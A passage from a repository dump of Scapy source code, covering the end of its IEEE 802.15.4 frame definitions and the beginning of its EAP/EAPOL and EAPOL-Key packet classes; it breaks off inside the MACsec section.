4, and 8 bytes depending on sec_sc_keyidmode  # noqa: E501\n        MultipleTypeField([\n            # 4 octets when sec_sc_keyidmode == 2\n            (XLEIntField(\"sec_keyid_keysource\", 0x00000000),\n                lambda pkt: pkt.getfieldval(\"sec_sc_keyidmode\") == 2),\n            # 8 octets when sec_sc_keyidmode == 3\n            (LELongField(\"sec_keyid_keysource\", 0x0000000000000000),\n                lambda pkt: pkt.getfieldval(\"sec_sc_keyidmode\") == 3),\n        ], StrFixedLenField(\"sec_keyid_keysource\", \"\", length=0)),\n        # Key Index (1 octet): allows unique identification of different keys with the same originator  # noqa: E501\n        ConditionalField(XByteField(\"sec_keyid_keyindex\", 0xFF),\n                         lambda pkt: pkt.getfieldval(\"sec_sc_keyidmode\") != 0),\n    ]\n\n\nclass Dot15d4Data(Packet):\n    name = \"802.15.4 Data\"\n    fields_desc = [\n        XLEShortField(\"dest_panid\", 0xFFFF),\n        dot15d4AddressField(\"dest_addr\", 0xFFFF, length_of=\"fcf_destaddrmode\"),\n        ConditionalField(XLEShortField(\"src_panid\", 0x0),\n                         lambda pkt:util_srcpanid_present(pkt)),\n        ConditionalField(dot15d4AddressField(\"src_addr\", None, length_of=\"fcf_srcaddrmode\"),  # noqa: E501\n                         lambda pkt:pkt.underlayer.getfieldval(\"fcf_srcaddrmode\") != 0),  # noqa: E501\n        # Security field present if fcf_security == True\n        ConditionalField(PacketField(\"aux_sec_header\", Dot15d4AuxSecurityHeader(), Dot15d4AuxSecurityHeader),  # noqa: E501\n                         lambda pkt:pkt.underlayer.getfieldval(\"fcf_security\") is True),  # noqa: E501\n    ]\n\n    def guess_payload_class(self, payload):\n        # TODO: See how it's done in wireshark:\n        # https://github.com/wireshark/wireshark/blob/93c60b3b7c801dddd11d8c7f2a0ea4b7d02d700a/epan/dissectors/packet-ieee802154.c#L2061  # noqa: E501\n        # it's too magic to me\n        from scapy.layers.sixlowpan import SixLoWPAN\n        from scapy.layers.zigbee import ZigbeeNWK\n        if conf.dot15d4_protocol == \"sixlowpan\":\n            return SixLoWPAN\n        elif conf.dot15d4_protocol == \"zigbee\":\n            return ZigbeeNWK\n        else:\n            if conf.dot15d4_protocol is None:\n                _msg = \"Please set conf.dot15d4_protocol to select a \" + \\\n                       \"802.15.4 protocol. Values must be in the list: \"\n            else:\n                _msg = \"Unknown conf.dot15d4_protocol value: must be in \"\n            warning(_msg +\n                    \"['sixlowpan', 'zigbee']\" +\n                    \" Defaulting to SixLoWPAN\")\n            return SixLoWPAN\n\n    def mysummary(self):\n        return self.sprintf(\"802.15.4 Data ( %Dot15d4Data.src_panid%:%Dot15d4Data.src_addr% -> %Dot15d4Data.dest_panid%:%Dot15d4Data.dest_addr% )\")  # noqa: E501\n\n\nclass Dot15d4Beacon(Packet):\n    name = \"802.15.4 Beacon\"\n    fields_desc = [\n        XLEShortField(\"src_panid\", 0x0),\n        dot15d4AddressField(\"src_addr\", None, length_of=\"fcf_srcaddrmode\"),\n        # Security field present if fcf_security == True\n        ConditionalField(PacketField(\"aux_sec_header\", Dot15d4AuxSecurityHeader(), Dot15d4AuxSecurityHeader),  # noqa: E501\n                         lambda pkt:pkt.underlayer.getfieldval(\"fcf_security\") is True),  # noqa: E501\n\n        # Superframe spec field:\n        BitField(\"sf_sforder\", 15, 4),  # not used by ZigBee\n        BitField(\"sf_beaconorder\", 15, 4),  # not used by ZigBee\n        BitEnumField(\"sf_assocpermit\", 0, 1, [False, True]),\n        BitEnumField(\"sf_pancoord\", 0, 1, [False, True]),\n        BitField(\"sf_reserved\", 0, 1),  # not used by ZigBee\n        BitEnumField(\"sf_battlifeextend\", 0, 1, [False, True]),  # not used by ZigBee  # noqa: E501\n        BitField(\"sf_finalcapslot\", 15, 4),  # not used by ZigBee\n\n        # GTS Fields\n        #  GTS Specification (1 byte)\n        BitEnumField(\"gts_spec_permit\", 1, 1, [False, True]),  # GTS spec bit 7, true=1 iff PAN cord is accepting GTS requests  # noqa: E501\n        BitField(\"gts_spec_reserved\", 0, 4),  # GTS spec bits 3-6\n        BitField(\"gts_spec_desccount\", 0, 3),  # GTS spec bits 0-2\n        #  GTS Directions (0 or 1 byte)\n        ConditionalField(BitField(\"gts_dir_reserved\", 0, 1), lambda pkt:pkt.getfieldval(\"gts_spec_desccount\") != 0),  # noqa: E501\n        ConditionalField(BitField(\"gts_dir_mask\", 0, 7), lambda pkt:pkt.getfieldval(\"gts_spec_desccount\") != 0),  # noqa: E501\n        #  GTS List (variable size)\n        # TODO add a Packet/FieldListField tied to 3bytes per count in gts_spec_desccount  # noqa: E501\n\n        # Pending Address Fields:\n        #  Pending Address Specification (1 byte)\n        BitField(\"pa_reserved_1\", 0, 1),\n        BitField(\"pa_num_long\", 0, 3),  # number of long addresses pending\n        BitField(\"pa_reserved_2\", 0, 1),\n        BitField(\"pa_num_short\", 0, 3),  # number of short addresses pending\n        #  Address List (var length)\n        FieldListField(\"pa_short_addresses\", [],\n                       XLEShortField(\"\", 0x0000),\n                       count_from=lambda pkt: pkt.pa_num_short),\n        FieldListField(\"pa_long_addresses\", [],\n                       dot15d4AddressField(\"\", 0, adjust=lambda pkt, x: 8),\n                       count_from=lambda pkt: pkt.pa_num_long),\n        # TODO beacon payload\n    ]\n\n    def mysummary(self):\n        return self.sprintf(\"802.15.4 Beacon ( %Dot15d4Beacon.src_panid%:%Dot15d4Beacon.src_addr% ) assocPermit(%Dot15d4Beacon.sf_assocpermit%) panCoord(%Dot15d4Beacon.sf_pancoord%)\")  # noqa: E501\n\n\nclass Dot15d4Cmd(Packet):\n    name = \"802.15.4 Command\"\n    fields_desc = [\n        XLEShortField(\"dest_panid\", 0xFFFF),\n        # Users should correctly set the dest_addr field. By default is 0x0 for construction to work.  # noqa: E501\n        dot15d4AddressField(\"dest_addr\", 0x0, length_of=\"fcf_destaddrmode\"),\n        ConditionalField(XLEShortField(\"src_panid\", 0x0), \\\n                         lambda pkt:util_srcpanid_present(pkt)),\n        ConditionalField(dot15d4AddressField(\"src_addr\", None,\n                         length_of=\"fcf_srcaddrmode\"),\n                         lambda pkt:pkt.underlayer.getfieldval(\"fcf_srcaddrmode\") != 0),  # noqa: E501\n        # Security field present if fcf_security == True\n        ConditionalField(PacketField(\"aux_sec_header\", Dot15d4AuxSecurityHeader(), Dot15d4AuxSecurityHeader),  # noqa: E501\n                         lambda pkt:pkt.underlayer.getfieldval(\"fcf_security\") is True),  # noqa: E501\n        ByteEnumField(\"cmd_id\", 0, {\n            1: \"AssocReq\",  # Association request\n            2: \"AssocResp\",  # Association response\n            3: \"DisassocNotify\",  # Disassociation notification\n            4: \"DataReq\",  # Data request\n            5: \"PANIDConflictNotify\",  # PAN ID conflict notification\n            6: \"OrphanNotify\",  # Orphan notification\n            7: \"BeaconReq\",  # Beacon request\n            8: \"CoordRealign\",  # coordinator realignment\n            9: \"GTSReq\"  # GTS request\n            # 0x0a - 0xff reserved\n        }),\n        # TODO command payload\n    ]\n\n    def mysummary(self):\n        return self.sprintf(\"802.15.4 Command %Dot15d4Cmd.cmd_id% ( %Dot15dCmd.src_panid%:%Dot15d4Cmd.src_addr% -> %Dot15d4Cmd.dest_panid%:%Dot15d4Cmd.dest_addr% )\")  # noqa: E501\n\n    # command frame payloads are complete: DataReq, PANIDConflictNotify, OrphanNotify, BeaconReq don't have any payload  # noqa: E501\n    # Although BeaconReq can have an optional ZigBee Beacon payload (implemented in ZigBeeBeacon)  # noqa: E501\n    def guess_payload_class(self, payload):\n        if self.cmd_id == 1:\n            return Dot15d4CmdAssocReq\n        elif self.cmd_id == 2:\n            return Dot15d4CmdAssocResp\n        elif self.cmd_id == 3:\n            return Dot15d4CmdDisassociation\n        elif self.cmd_id == 8:\n            return Dot15d4CmdCoordRealign\n        elif self.cmd_id == 9:\n            return Dot15d4CmdGTSReq\n        else:\n            return Packet.guess_payload_class(self, payload)\n\n\nclass Dot15d4CmdCoordRealign(Packet):\n    name = \"802.15.4 Coordinator Realign Command\"\n    fields_desc = [\n        # PAN Identifier (2 octets)\n        XLEShortField(\"panid\", 0xFFFF),\n        # Coordinator Short Address (2 octets)\n        XLEShortField(\"coord_address\", 0x0000),\n        # Logical Channel (1 octet): the logical channel that the coordinator intends to use for all future communications  # noqa: E501\n        ByteField(\"channel\", 0),\n        # Short Address (2 octets)\n        XLEShortField(\"dev_address\", 0xFFFF),\n    ]\n\n    def mysummary(self):\n        return self.sprintf(\"802.15.4 Coordinator Realign Payload ( PAN ID: %Dot15dCmdCoordRealign.pan_id% : channel %Dot15d4CmdCoordRealign.channel% )\")  # noqa: E501\n\n    def guess_payload_class(self, payload):\n        if len(payload) == 1:\n            return Dot15d4CmdCoordRealignPage\n        else:\n            return Packet.guess_payload_class(self, payload)\n\n\nclass Dot15d4CmdCoordRealignPage(Packet):\n    name = \"802.15.4 Coordinator Realign Page\"\n    fields_desc = [\n        ByteField(\"channel_page\", 0),\n    ]\n\n\n# Utility Functions #\n\n\ndef util_srcpanid_present(pkt):\n    '''A source PAN ID is included if and only if both src addr mode != 0 and PAN ID Compression in FCF == 0'''  # noqa: E501\n    if (pkt.underlayer.getfieldval(\"fcf_srcaddrmode\") != 0) and (pkt.underlayer.getfieldval(\"fcf_panidcompress\") == 0):  # noqa: E501\n        return True\n    else:\n        return False\n\n\nclass Dot15d4CmdAssocReq(Packet):\n    name = \"802.15.4 Association Request Payload\"\n    fields_desc = [\n        BitField(\"allocate_address\", 0, 1),  # Allocate Address\n        BitField(\"security_capability\", 0, 1),  # Security Capability\n        BitField(\"reserved2\", 0, 1),  # bit 5 is reserved\n        BitField(\"reserved1\", 0, 1),  # bit 4 is reserved\n        BitField(\"receiver_on_when_idle\", 0, 1),  # Receiver On When Idle\n        BitField(\"power_source\", 0, 1),  # Power Source\n        BitField(\"device_type\", 0, 1),  # Device Type\n        BitField(\"alternate_pan_coordinator\", 0, 1),  # Alternate PAN Coordinator  # noqa: E501\n    ]\n\n    def mysummary(self):\n        return self.sprintf(\"802.15.4 Association Request Payload ( Alt PAN Coord: %Dot15d4CmdAssocReq.alternate_pan_coordinator% Device Type: %Dot15d4CmdAssocReq.device_type% )\")  # noqa: E501\n\n\nclass Dot15d4CmdAssocResp(Packet):\n    name = \"802.15.4 Association Response Payload\"\n    fields_desc = [\n        XLEShortField(\"short_address\", 0xFFFF),  # Address assigned to device from coordinator (0xFFFF == none)  # noqa: E501\n        # Association Status\n        # 0x00 == successful\n        # 0x01 == PAN at capacity\n        # 0x02 == PAN access denied\n        # 0x03 - 0x7f == Reserved\n        # 0x80 - 0xff == Reserved for MAC primitive enumeration values\n        ByteEnumField(\"association_status\", 0x00, {0: 'successful', 1: 'PAN_at_capacity', 2: 'PAN_access_denied'}),  # noqa: E501\n    ]\n\n    def mysummary(self):\n        return self.sprintf(\"802.15.4 Association Response Payload ( Association Status: %Dot15d4CmdAssocResp.association_status% Assigned Address: %Dot15d4CmdAssocResp.short_address% )\")  # noqa: E501\n\n\nclass Dot15d4CmdDisassociation(Packet):\n    name = \"802.15.4 Disassociation Notification Payload\"\n    fields_desc = [\n        # Disassociation Reason\n        # 0x00 == Reserved\n        # 0x01 == The coordinator wishes the device to leave the PAN\n        # 0x02 == The device wishes to leave the PAN\n        # 0x03 - 0x7f == Reserved\n        # 0x80 - 0xff == Reserved for MAC primitive enumeration values\n        ByteEnumField(\"disassociation_reason\", 0x02, {1: 'coord_wishes_device_to_leave', 2: 'device_wishes_to_leave'}),  # noqa: E501\n    ]\n\n    def mysummary(self):\n        return self.sprintf(\"802.15.4 Disassociation Notification Payload ( Disassociation Reason %Dot15d4CmdDisassociation.disassociation_reason% )\")  # noqa: E501\n\n\nclass Dot15d4CmdGTSReq(Packet):\n    name = \"802.15.4 GTS request command\"\n    fields_desc = [\n        # GTS Characteristics field (1 octet)\n        # Reserved (bits 6-7)\n        BitField(\"reserved\", 0, 2),\n        # Characteristics Type (bit 5)\n        BitField(\"charact_type\", 0, 1),\n        # GTS Direction (bit 4)\n        BitField(\"gts_dir\", 0, 1),\n        # GTS Length (bits 0-3)\n        BitField(\"gts_len\", 0, 4),\n    ]\n\n    def mysummary(self):\n        return self.sprintf(\"802.15.4 GTS Request Command ( %Dot15d4CmdGTSReq.gts_len% : %Dot15d4CmdGTSReq.gts_dir% )\")  # noqa: E501\n\n\n# PAN ID conflict notification command frame is not necessary, only Dot15d4Cmd with cmd_id = 5 (\"PANIDConflictNotify\")  # noqa: E501\n# Orphan notification command not necessary, only Dot15d4Cmd with cmd_id = 6 (\"OrphanNotify\")  # noqa: E501\n\n# Bindings #\nbind_layers(Dot15d4, Dot15d4Beacon, fcf_frametype=0)\nbind_layers(Dot15d4, Dot15d4Data, fcf_frametype=1)\nbind_layers(Dot15d4, Dot15d4Ack, fcf_frametype=2)\nbind_layers(Dot15d4, Dot15d4Cmd, fcf_frametype=3)\n\n# DLT Types #\nconf.l2types.register(DLT_IEEE802_15_4_WITHFCS, Dot15d4FCS)\nconf.l2types.register(DLT_IEEE802_15_4_NOFCS, Dot15d4)\n"
  },
  {
    "path": "scapy/layers/eap.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nExtensible Authentication Protocol (EAP)\n\"\"\"\n\n\nimport struct\n\nfrom scapy.fields import (\n    BitEnumField,\n    BitField,\n    ByteEnumField,\n    ByteField,\n    ConditionalField,\n    FieldLenField,\n    FieldListField,\n    IntField,\n    LenField,\n    LongField,\n    PacketField,\n    PacketListField,\n    PadField,\n    ShortField,\n    StrLenField,\n    XByteField,\n    XIntField,\n    XStrField,\n    XStrFixedLenField,\n    XStrLenField,\n)\nfrom scapy.packet import (\n    Packet,\n    Padding,\n    bind_bottom_up,\n    bind_layers,\n    bind_top_down,\n)\nfrom scapy.layers.l2 import SourceMACField, Ether, CookedLinux, GRE, SNAP\nfrom scapy.config import conf\nfrom scapy.compat import orb, chb\n\n#\n# EAPOL\n#\n\n#########################################################################\n#\n# EAPOL protocol version\n# IEEE Std 802.1X-2010 - Section 11.3.1\n#########################################################################\n#\n\neapol_versions = {\n    0x1: \"802.1X-2001\",\n    0x2: \"802.1X-2004\",\n    0x3: \"802.1X-2010\",\n}\n\n#########################################################################\n#\n# EAPOL Packet Types\n# IEEE Std 802.1X-2010 - Table 11.3\n#########################################################################\n#\n\neapol_types = {\n    0x0: \"EAP-Packet\",  # \"EAPOL-EAP\" in 801.1X-2010\n    0x1: \"EAPOL-Start\",\n    0x2: \"EAPOL-Logoff\",\n    0x3: \"EAPOL-Key\",\n    0x4: \"EAPOL-Encapsulated-ASF-Alert\",\n    0x5: \"EAPOL-MKA\",\n    0x6: \"EAPOL-Announcement (Generic)\",\n    0x7: \"EAPOL-Announcement (Specific)\",\n    0x8: \"EAPOL-Announcement-Req\"\n}\n\n\nclass EAPOL(Packet):\n    \"\"\"\n    EAPOL - IEEE Std 802.1X-2010\n    \"\"\"\n\n    name = \"EAPOL\"\n    fields_desc = [\n        ByteEnumField(\"version\", 1, eapol_versions),\n        ByteEnumField(\"type\", 0, eapol_types),\n        LenField(\"len\", None, \"H\")\n    ]\n\n    EAP_PACKET = 0\n    START = 1\n    LOGOFF = 2\n    KEY = 3\n    ASF = 4\n\n    def extract_padding(self, s):\n        tmp_len = self.len\n        return s[:tmp_len], s[tmp_len:]\n\n    def hashret(self):\n        return chb(self.type) + self.payload.hashret()\n\n    def answers(self, other):\n        if isinstance(other, EAPOL):\n            if ((self.type == self.EAP_PACKET) and\n                    (other.type == self.EAP_PACKET)):\n                return self.payload.answers(other.payload)\n        return 0\n\n    def mysummary(self):\n        return self.sprintf(\"EAPOL %EAPOL.type%\")\n\n\n#\n# EAP\n#\n\n\n#########################################################################\n#\n# EAP methods types\n# http://www.iana.org/assignments/eap-numbers/eap-numbers.xhtml#eap-numbers-4\n#########################################################################\n#\n\neap_types = {\n    0: \"Reserved\",\n    1: \"Identity\",\n    2: \"Notification\",\n    3: \"Legacy Nak\",\n    4: \"MD5-Challenge\",\n    5: \"One-Time Password (OTP)\",\n    6: \"Generic Token Card (GTC)\",\n    7: \"Allocated - RFC3748\",\n    8: \"Allocated - RFC3748\",\n    9: \"RSA Public Key Authentication\",\n    10: \"DSS Unilateral\",\n    11: \"KEA\",\n    12: \"KEA-VALIDATE\",\n    13: \"EAP-TLS\",\n    14: \"Defender Token (AXENT)\",\n    15: \"RSA Security SecurID EAP\",\n    16: \"Arcot Systems EAP\",\n    17: \"EAP-Cisco Wireless\",\n    18: \"GSM Subscriber Identity Modules (EAP-SIM)\",\n    19: \"SRP-SHA1\",\n    20: \"Unassigned\",\n    21: \"EAP-TTLS\",\n    22: \"Remote Access Service\",\n    23: \"EAP-AKA Authentication\",\n    24: \"EAP-3Com Wireless\",\n    25: \"PEAP\",\n    26: \"MS-EAP-Authentication\",\n    27: \"Mutual Authentication w/Key Exchange (MAKE)\",\n    28: \"CRYPTOCard\",\n    29: \"EAP-MSCHAP-V2\",\n    30: \"DynamID\",\n    31: \"Rob EAP\",\n    32: \"Protected One-Time Password\",\n    33: \"MS-Authentication-TLV\",\n    34: \"SentriNET\",\n    35: \"EAP-Actiontec Wireless\",\n    36: \"Cogent Systems Biometrics Authentication EAP\",\n    37: \"AirFortress EAP\",\n    38: \"EAP-HTTP Digest\",\n    39: \"SecureSuite EAP\",\n    40: \"DeviceConnect EAP\",\n    41: \"EAP-SPEKE\",\n    42: \"EAP-MOBAC\",\n    43: \"EAP-FAST\",\n    44: \"ZoneLabs EAP (ZLXEAP)\",\n    45: \"EAP-Link\",\n    46: \"EAP-PAX\",\n    47: \"EAP-PSK\",\n    48: \"EAP-SAKE\",\n    49: \"EAP-IKEv2\",\n    50: \"EAP-AKA\",\n    51: \"EAP-GPSK\",\n    52: \"EAP-pwd\",\n    53: \"EAP-EKE Version 1\",\n    54: \"EAP Method Type for PT-EAP\",\n    55: \"TEAP\",\n    254: \"Reserved for the Expanded Type\",\n    255: \"Experimental\",\n}\n\n\n#########################################################################\n#\n# EAP codes\n# http://www.iana.org/assignments/eap-numbers/eap-numbers.xhtml#eap-numbers-1\n#########################################################################\n#\n\neap_codes = {\n    1: \"Request\",\n    2: \"Response\",\n    3: \"Success\",\n    4: \"Failure\",\n    5: \"Initiate\",\n    6: \"Finish\"\n}\n\n\nclass EAP(Packet):\n    \"\"\"\n    RFC 3748 - Extensible Authentication Protocol (EAP)\n    \"\"\"\n\n    name = \"EAP\"\n    fields_desc = [\n        ByteEnumField(\"code\", 4, eap_codes),\n        ByteField(\"id\", 0),\n        ShortField(\"len\", None),\n        ConditionalField(ByteEnumField(\"type\", 0, eap_types),\n                         lambda pkt:pkt.code not in [\n                             EAP.SUCCESS, EAP.FAILURE]),\n        ConditionalField(\n            FieldListField(\"desired_auth_types\", [],\n                           ByteEnumField(\"auth_type\", 0, eap_types),\n                           length_from=lambda pkt: pkt.len - 4),\n            lambda pkt:pkt.code == EAP.RESPONSE and pkt.type == 3),\n        ConditionalField(\n            StrLenField(\"identity\", '', length_from=lambda pkt: pkt.len - 5),\n            lambda pkt: pkt.code == EAP.RESPONSE and hasattr(pkt, 'type') and pkt.type == 1),  # noqa: E501\n        ConditionalField(\n            StrLenField(\"message\", '', length_from=lambda pkt: pkt.len - 5),\n            lambda pkt: pkt.code == EAP.REQUEST and hasattr(pkt, 'type') and pkt.type == 1)  # noqa: E501\n    ]\n\n    #########################################################################\n    #\n    # EAP codes\n    # http://www.iana.org/assignments/eap-numbers/eap-numbers.xhtml#eap-numbers-1\n    #########################################################################\n    #\n\n    REQUEST = 1\n    RESPONSE = 2\n    SUCCESS = 3\n    FAILURE = 4\n    INITIATE = 5\n    FINISH = 6\n\n    registered_methods = {}\n\n    @classmethod\n    def register_variant(cls):\n        cls.registered_methods[cls.type.default] = cls\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt:\n            c = orb(_pkt[0])\n            if c in [1, 2] and len(_pkt) >= 5:\n                t = orb(_pkt[4])\n                return cls.registered_methods.get(t, cls)\n        return cls\n\n    def answers(self, other):\n        if isinstance(other, EAP):\n            if self.code == self.REQUEST:\n                return 0\n            elif self.code == self.RESPONSE:\n                if ((other.code == self.REQUEST) and\n                        (other.type == self.type)):\n                    return 1\n            elif other.code == self.RESPONSE:\n                return 1\n        return 0\n\n    def mysummary(self):\n        summary_str = \"EAP %{eap_class}.code% %{eap_class}.type%\".format(\n            eap_class=self.__class__.__name__\n        )\n        if self.type == 1 and self.code == EAP.RESPONSE:\n            summary_str += \" %{eap_class}.identity%\".format(\n                eap_class=self.__class__.__name__\n            )\n        return self.sprintf(summary_str)\n\n    def post_build(self, p, pay):\n        if self.len is None:\n            tmp_len = len(p) + len(pay)\n            tmp_p = p[:2] + chb((tmp_len >> 8) & 0xff) + chb(tmp_len & 0xff)\n            p = tmp_p + p[4:]\n        return p + pay\n\n    def guess_payload_class(self, _):\n        return Padding\n\n\nclass EAP_MD5(EAP):\n    \"\"\"\n    RFC 3748 - \"Extensible Authentication Protocol (EAP)\"\n    \"\"\"\n\n    name = \"EAP-MD5\"\n    match_subclass = True\n    fields_desc = [\n        ByteEnumField(\"code\", 1, eap_codes),\n        ByteField(\"id\", 0),\n        FieldLenField(\"len\", None, fmt=\"H\", length_of=\"optional_name\",\n                      adjust=lambda p, x: x + 6 + (p.value_size or 0)),\n        ByteEnumField(\"type\", 4, eap_types),\n        FieldLenField(\"value_size\", None, fmt=\"B\", length_of=\"value\"),\n        XStrLenField(\"value\", '', length_from=lambda p: p.value_size),\n        XStrLenField(\"optional_name\", '', length_from=lambda p: 0 if p.len is None or p.value_size is None else (p.len - p.value_size - 6))  # noqa: E501\n    ]\n\n\nclass EAP_TLS(EAP):\n    \"\"\"\n    RFC 5216 - \"The EAP-TLS Authentication Protocol\"\n    \"\"\"\n\n    name = \"EAP-TLS\"\n    match_subclass = True\n    fields_desc = [\n        ByteEnumField(\"code\", 1, eap_codes),\n        ByteField(\"id\", 0),\n        FieldLenField(\"len\", None, fmt=\"H\", length_of=\"tls_data\",\n                      adjust=lambda p, x: x + 10 if p.L == 1 else x + 6),\n        ByteEnumField(\"type\", 13, eap_types),\n        BitField('L', 0, 1),\n        BitField('M', 0, 1),\n        BitField('S', 0, 1),\n        BitField('reserved', 0, 5),\n        ConditionalField(IntField('tls_message_len', 0), lambda pkt: pkt.L == 1),  # noqa: E501\n        XStrLenField('tls_data', '', length_from=lambda pkt: 0 if pkt.len is None else pkt.len - (6 + 4 * pkt.L))  # noqa: E501\n    ]\n\n\nclass EAP_TTLS(EAP):\n    \"\"\"\n    RFC 5281 - \"Extensible Authentication Protocol Tunneled Transport Layer\n    Security Authenticated Protocol Version 0 (EAP-TTLSv0)\"\n    \"\"\"\n\n    name = \"EAP-TTLS\"\n    match_subclass = True\n    fields_desc = [\n        ByteEnumField(\"code\", 1, eap_codes),\n        ByteField(\"id\", 0),\n        FieldLenField(\"len\", None, fmt=\"H\", length_of=\"data\",\n                      adjust=lambda p, x: x + 10 if p.L == 1 else x + 6),\n        ByteEnumField(\"type\", 21, eap_types),\n        BitField(\"L\", 0, 1),\n        BitField(\"M\", 0, 1),\n        BitField(\"S\", 0, 1),\n        BitField(\"reserved\", 0, 2),\n        BitField(\"version\", 0, 3),\n        ConditionalField(IntField(\"message_len\", 0), lambda pkt: pkt.L == 1),\n        XStrLenField(\"data\", \"\", length_from=lambda pkt: 0 if pkt.len is None else pkt.len - (6 + 4 * pkt.L))  # noqa: E501\n    ]\n\n\nclass EAP_PEAP(EAP):\n    \"\"\"\n    draft-josefsson-pppext-eap-tls-eap-05.txt - \"Protected EAP Protocol (PEAP)\"\n    \"\"\"\n\n    name = \"PEAP\"\n    match_subclass = True\n    fields_desc = [\n        ByteEnumField(\"code\", 1, eap_codes),\n        ByteField(\"id\", 0),\n        FieldLenField(\"len\", None, fmt=\"H\", length_of=\"tls_data\",\n                      adjust=lambda p, x: x + 10 if p.L == 1 else x + 6),\n        ByteEnumField(\"type\", 25, eap_types),\n        BitField(\"L\", 0, 1),\n        BitField(\"M\", 0, 1),\n        BitField(\"S\", 0, 1),\n        BitField(\"reserved\", 0, 3),\n        BitField(\"version\", 1, 2),\n        ConditionalField(IntField(\"tls_message_len\", 0), lambda pkt: pkt.L == 1),  # noqa: E501\n        XStrLenField(\"tls_data\", \"\", length_from=lambda pkt: 0 if pkt.len is None else pkt.len - (6 + 4 * pkt.L))  # noqa: E501\n    ]\n\n\nclass EAP_FAST(EAP):\n    \"\"\"\n    RFC 4851 - \"The Flexible Authentication via Secure Tunneling\n    Extensible Authentication Protocol Method (EAP-FAST)\"\n    \"\"\"\n\n    name = \"EAP-FAST\"\n    match_subclass = True\n    fields_desc = [\n        ByteEnumField(\"code\", 1, eap_codes),\n        ByteField(\"id\", 0),\n        FieldLenField(\"len\", None, fmt=\"H\", length_of=\"data\",\n                      adjust=lambda p, x: x + 10 if p.L == 1 else x + 6),\n        ByteEnumField(\"type\", 43, eap_types),\n        BitField('L', 0, 1),\n        BitField('M', 0, 1),\n        BitField('S', 0, 1),\n        BitField('reserved', 0, 2),\n        BitField('version', 0, 3),\n        ConditionalField(IntField('message_len', 0), lambda pkt: pkt.L == 1),\n        XStrLenField('data', '', length_from=lambda pkt: 0 if pkt.len is None else pkt.len - (6 + 4 * pkt.L))  # noqa: E501\n    ]\n\n\nclass LEAP(EAP):\n    \"\"\"\n    Cisco LEAP (Lightweight EAP)\n    https://freeradius.org/rfc/leap.txt\n    \"\"\"\n\n    name = \"Cisco LEAP\"\n    match_subclass = True\n    fields_desc = [\n        ByteEnumField(\"code\", 1, eap_codes),\n        ByteField(\"id\", 0),\n        ShortField(\"len\", None),\n        ByteEnumField(\"type\", 17, eap_types),\n        ByteField('version', 1),\n        XByteField('unused', 0),\n        FieldLenField(\"count\", None, \"challenge_response\", \"B\", adjust=lambda p, x: len(p.challenge_response)),  # noqa: E501\n        XStrLenField(\"challenge_response\", \"\", length_from=lambda p: 0 or p.count),  # noqa: E501\n        StrLenField(\"username\", \"\", length_from=lambda p: p.len - (8 + (0 or p.count)))  # noqa: E501\n    ]\n\n\n#############################################################################\n# IEEE 802.1X-2010 - EAPOL-Key\n#############################################################################\n\n# sect 11.9 of 802.1X-2010\n# AND sect 12.7.2 of 802.11-2016\n\n\nclass EAPOL_KEY(Packet):\n    name = \"EAPOL_KEY\"\n    deprecated_fields = {\n        \"key\": (\"key_data\", \"2.6.0\"),\n        \"len\": (\"key_length\", \"2.6.0\"),\n    }\n    fields_desc = [\n        ByteEnumField(\"key_descriptor_type\", 1, {1: \"RC4\", 2: \"RSN\"}),\n        # Key Information\n        BitField(\"res2\", 0, 2),\n        BitField(\"smk_message\", 0, 1),\n        BitField(\"encrypted_key_data\", 0, 1),\n        BitField(\"request\", 0, 1),\n        BitField(\"error\", 0, 1),\n        BitField(\"secure\", 0, 1),\n        BitField(\"has_key_mic\", 1, 1),\n        BitField(\"key_ack\", 0, 1),\n        BitField(\"install\", 0, 1),\n        BitField(\"res\", 0, 2),\n        BitEnumField(\"key_type\", 0, 1, {0: \"Group/SMK\", 1: \"Pairwise\"}),\n        BitEnumField(\"key_descriptor_type_version\", 0, 3, {\n            1: \"HMAC-MD5+ARC4\",\n            2: \"HMAC-SHA1-128+AES-128\",\n            3: \"AES-128-CMAC+AES-128\",\n        }),\n        #\n        LenField(\"key_length\", None, \"H\"),\n        LongField(\"key_replay_counter\", 0),\n        XStrFixedLenField(\"key_nonce\", \"\", 32),\n        XStrFixedLenField(\"key_iv\", \"\", 16),\n        XStrFixedLenField(\"key_rsc\", \"\", 8),\n        XStrFixedLenField(\"key_id\", \"\", 8),\n        XStrFixedLenField(\"key_mic\", \"\", 16),  # XXX size can be 24\n        FieldLenField(\"key_data_length\", None, length_of=\"key_data\"),\n        XStrLenField(\"key_data\", \"\",\n                     length_from=lambda pkt: pkt.key_data_length)\n    ]\n\n    def extract_padding(self, s):\n        return s[:self.key_length], s[self.key_length:]\n\n    def hashret(self):\n        return struct.pack(\"!B\", self.type) + self.payload.hashret()\n\n    def answers(self, other):\n        if isinstance(other, EAPOL_KEY) and \\\n                other.descriptor_type == self.descriptor_type:\n            return 1\n        return 0\n\n    def guess_key_number(self):\n        \"\"\"\n        Determines 4-way handshake key number\n\n        :return: key number (1-4), or 0 if it cannot be determined\n        \"\"\"\n        if self.key_type == 1:\n            if self.key_ack == 1:\n                if self.has_key_mic == 0:\n                    return 1\n                if self.install == 1:\n                    return 3\n            else:\n                if self.secure == 0:\n                    return 2\n                return 4\n        return 0\n\n\n#############################################################################\n# IEEE 802.1X-2010 - MACsec Key Agreement (MKA) protocol\n#############################################################################\n\n#########################################################################\n#\n# IEEE 802.1X-2010 standard\n# Section 11.11.1\n#########################################################################\n#\n\n_parameter_set_types = {\n    1: \"Live Peer List\",\n    2: \"Potential Peer List\",\n    3: \"MACsec SAK Use\",\n    4: \"Distributed SAK\",\n    5: \"Distributed CAK\",\n    6: \"KMD\",\n    7: \"Announcement\",\n    255: \"ICV Indicator\"\n}\n\n\n# Used by MKAParamSet::dispatch_hook() to instantiate the appropriate class\n_param_set_cls = {\n    1: \"MKALivePeerListParamSet\",\n    2: \"MKAPotentialPeerListParamSet\",\n    3: \"MKASAKUseParamSet\",\n    4: \"MKADistributedSAKParamSet\",\n    255: \"MKAICVSet\",\n}\n\n\nclass MACsecSCI(Packet):\n    \"\"\"\n    Secure Channel Identifier.\n    \"\"\"\n\n    #########################################################################\n    #\n    # IEEE 802.1AE-2006 standard\n    # Section 9.9\n    #########################################################################\n    #\n\n    name = \"SCI\"\n    fields_desc = [\n        